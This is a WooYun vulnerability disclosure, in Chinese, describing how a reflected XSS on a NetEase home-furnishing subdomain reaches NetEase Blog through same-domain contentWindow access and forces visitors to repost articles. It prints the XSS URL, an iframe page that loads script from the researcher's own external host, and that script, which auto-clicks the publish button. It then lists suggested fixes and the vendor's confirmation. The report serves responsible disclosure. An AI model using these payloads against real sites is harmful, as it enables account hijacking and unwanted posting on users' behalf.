当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168244

漏洞标题:利用网易博客XSS劫持用户发表文章

相关厂商:网易

漏洞作者: q601333824

提交时间:2016-01-08 10:20

修复时间:2016-02-20 15:48

公开时间:2016-02-20 15:48

漏洞类型:XSS 跨站脚本攻击

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-08: 细节已通知厂商并且等待厂商处理中
2016-01-08: 厂商已经确认,细节仅向厂商公开
2016-01-18: 细节向核心白帽子及相关领域专家公开
2016-01-28: 细节向普通白帽子公开
2016-02-07: 细节向实习白帽子公开
2016-02-20: 细节向公众公开

简要描述:

写作仁侠却读作人鱼!

详细说明:


1.这个漏洞利用的是函数

contentWindow


2.这个函数可以让父窗口获取子窗口的内容,但是前提是同个域,这里举个例子就是,我可以从网易家居,获取网易博客的内容,如图

1.png


3.接下来就不用我说了,只要找一个网易家居的XSS,就能直接XSS网易博客了。

http://home.163.com/photo/?q=%3Cimg/src=%221%22/onerror=%22alert(/1/)%22%3E


2.png


----------------------------------------------------------------------------------------------
4.知道存在这个问题,但是怎么利用他让用户发帖呢?

5.网易博客很多地方都有这配置,X-Frame-Options

3.png


6.于是我去百度了一下,上面说,这个配置可以防止自己的网页被别的网页嵌套

4.png


-----------------------------------------------------------------------------------------
7.还有一些页面,就算用自己,套自己,都会直接全屏跳转,比如
特别是嵌套:xxxx.blog.163.com/manage.xxxx,整个页面就会被跳转
①.嵌套:
http://xsstest456.blog.163.com/manage/#m=0&t=4

5.png


②.整个页面被跳转到http://xsstest456.blog.163.com/manage/#m=0&t=4

6.png



----------------------------------------------------------------------------------------------------
8.拦都拦不住,根本停不下,所以这些页面不能用contentWindow
------------------------------------------------------------------------------------------------------------------------
9.但是一个页面不会跳转,就是转载文章

7.png


http://blog.163.com/share.do?bid=fks_087068084095089071093087085075072084084068084080080067086082&r=1&host=xsstest456&uid=257066024


10.上面参数都是固定的,别担心(因为我浏览器隐身模式换号访问过,没影响)
11.但是这个请求还是跨域的,我不会弄

8.png


----------------------------------------------------------------------------
12.但是你想想看,我们要的发表文章,只要按下发表就行了,内容就是转载的内容不用管,所以只要当前页面执行这段代码就行了,如图

var csol=document.getElementsByClassName("m-btn vtag")[0];
csol.click();


10.png


---------------------------------------------------------------------------------
13.上面废话了那么多,最终利用代码如下
①。第一段代码为了嵌套反射XSS,为了更隐蔽,因为看到那么长的url谁敢点

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>1</title>
</head>
<body>
<iframe src='http://home.163.com/photo/?q=%3Cimg/src=%221/%22onerror=%22var%20t=document.createElement(%27script%27);t.setAttribute(%27src%27%26%2344%3b%27//q601333824.sinaapp.com/1.js%27);document.body.appendChild(t)%22%3E' height="3000" width="100%" security="restricted"></iframe>
</body>
</html>


②.上面//q601333824.sinaapp.com/1.js里面内容
为了让iframe加载转载文章页面,然后延迟3000秒,点击发表按钮,别问为什么3秒,因为你总得给iframe时间,让里面的页面加载完,没加载完什么也获取不到

var t=document.createElement("iframe");
t.setAttribute("src","http://blog.163.com/share.do?bid=fks_087068084095087065093082085071072084084068084080080067086082&r=1&host=xsstest456&uid=257066024");
t.height="700";
t.width="700";
t.id="xss123";
document.body.appendChild(t);
function aaa(){
var ccc=document.getElementById("xss123").contentWindow;
var csol=ccc.document.getElementsByClassName("m-btn vtag")[0];
csol.click();
}
setTimeout("aaa()",3000);


----------------------------------------------------------------------------------------------


14.下面是测试截图
①.当用户访问构造好的页面,先加载完,然后直接在XSS自动点击了

1010.png


99999.png


55555555555.png





漏洞证明:


1.漏洞证明,看上面
2.下面是测试截图
①.当用户访问构造好的页面,先加载完,然后直接在XSS自动点击了

1010.png


99999.png


55555555555.png


修复方案:

1. 页面加上这段代码试试document.domain="blog.163.com",这样其他页面XSS不会连累博客页面
2.转载页面也可以加上跳转试试
3.最后想说的是,我测试的时候转载了那么多文章,连个验证码都没有碰到
4.测试页面

http://q601333824.sinaapp.com/1ceng.html


5.漏洞确认了,页面再删除

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2016-01-08 16:36

厂商回复:

该漏洞已修复。白帽子漏洞利用描述清楚。感谢对网易的支持!

最新状态:

暂无